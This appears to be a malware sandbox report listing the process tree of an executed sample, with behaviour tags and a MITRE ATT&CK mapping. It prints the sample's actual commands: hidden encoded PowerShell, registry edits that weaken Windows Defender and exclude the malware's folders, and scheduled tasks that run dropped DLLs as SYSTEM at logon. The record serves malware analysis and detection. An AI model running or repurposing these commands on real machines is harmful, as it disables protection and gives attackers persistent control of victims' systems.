C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:440

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4132

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1428

C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\sxFerYM.exe
C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\sxFerYM.exe Qf /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4808

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:3956

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:1192

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3156

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:1112

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:2836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:4388

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:3016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:3656

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:3648

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:1472

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:1996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:4068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:2160

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:1300

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:320

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:212

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:2092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:260

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4416

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:2904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:4316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:3912

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:3392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:3328

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CXdyuXxQU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CXdyuXxQU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCSurMlfClMRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCSurMlfClMRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YnFPtusxCOTU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YnFPtusxCOTU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bOFQhydRtxUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bOFQhydRtxUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\RIEoyfpemMjlUPVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\RIEoyfpemMjlUPVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MNBTbrbBidagOXts\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MNBTbrbBidagOXts\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3836

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2272

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2348

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2988

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1464

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\RIEoyfpemMjlUPVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:1548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\RIEoyfpemMjlUPVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:2344

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH /t REG_DWORD /d 0 /reg:32
3⤵
PID:4308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH /t REG_DWORD /d 0 /reg:64
3⤵
PID:1812

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MNBTbrbBidagOXts /t REG_DWORD /d 0 /reg:32
3⤵
PID:4860

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MNBTbrbBidagOXts /t REG_DWORD /d 0 /reg:64
3⤵
PID:4728

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gTdNKNwoh" /SC once /ST 11:40:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:5108

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gTdNKNwoh"
2⤵
PID:4220

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gTdNKNwoh"
2⤵
PID:380

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "GrrjjXtPjBVPFNmZQ" /SC once /ST 08:10:17 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\KHDIUlV.exe\" 76 /site_id 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2320

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "GrrjjXtPjBVPFNmZQ"
2⤵
PID:1460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3668

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3508

C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\KHDIUlV.exe
C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\KHDIUlV.exe 76 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1532

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "beNJzxXkYGhzSCmkZn"
2⤵
PID:2156

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:2160

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:3228

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:2336

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:4400

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\CXdyuXxQU\BKKOHq.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ErhcMqZyPKQzNnH" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4420

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ErhcMqZyPKQzNnH2" /F /xml "C:\Program Files (x86)\CXdyuXxQU\XGWtrUn.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4092

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "ErhcMqZyPKQzNnH"
2⤵
PID:3344

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ErhcMqZyPKQzNnH"
2⤵
PID:4848

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TzHNCgqXVcbCsT" /F /xml "C:\Program Files (x86)\YnFPtusxCOTU2\ZseDGBN.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1664

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "UfarzoSChLufz2" /F /xml "C:\ProgramData\RIEoyfpemMjlUPVB\PYtFqUb.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2384

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "iQozJLGfyohvxjpyN2" /F /xml "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\ltvmJEl.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3524

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ASXvXFEBgQcQQTYguNW2" /F /xml "C:\Program Files (x86)\LCSurMlfClMRC\MDmnopk.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2344

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "NSdDFfEujjmGqHjBl" /SC once /ST 03:43:44 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MNBTbrbBidagOXts\DppCqGJa\InJGeUh.dll\",#1 /site_id 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3952

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "NSdDFfEujjmGqHjBl"
2⤵
PID:4704

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
2⤵
PID:5108

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:5012

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
2⤵
PID:4220

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:3000

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "GrrjjXtPjBVPFNmZQ"
2⤵
PID:4088

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MNBTbrbBidagOXts\DppCqGJa\InJGeUh.dll",#1 /site_id 525403
1⤵
PID:1012

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MNBTbrbBidagOXts\DppCqGJa\InJGeUh.dll",#1 /site_id 525403
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3092

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "NSdDFfEujjmGqHjBl"
3⤵
PID:4940

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery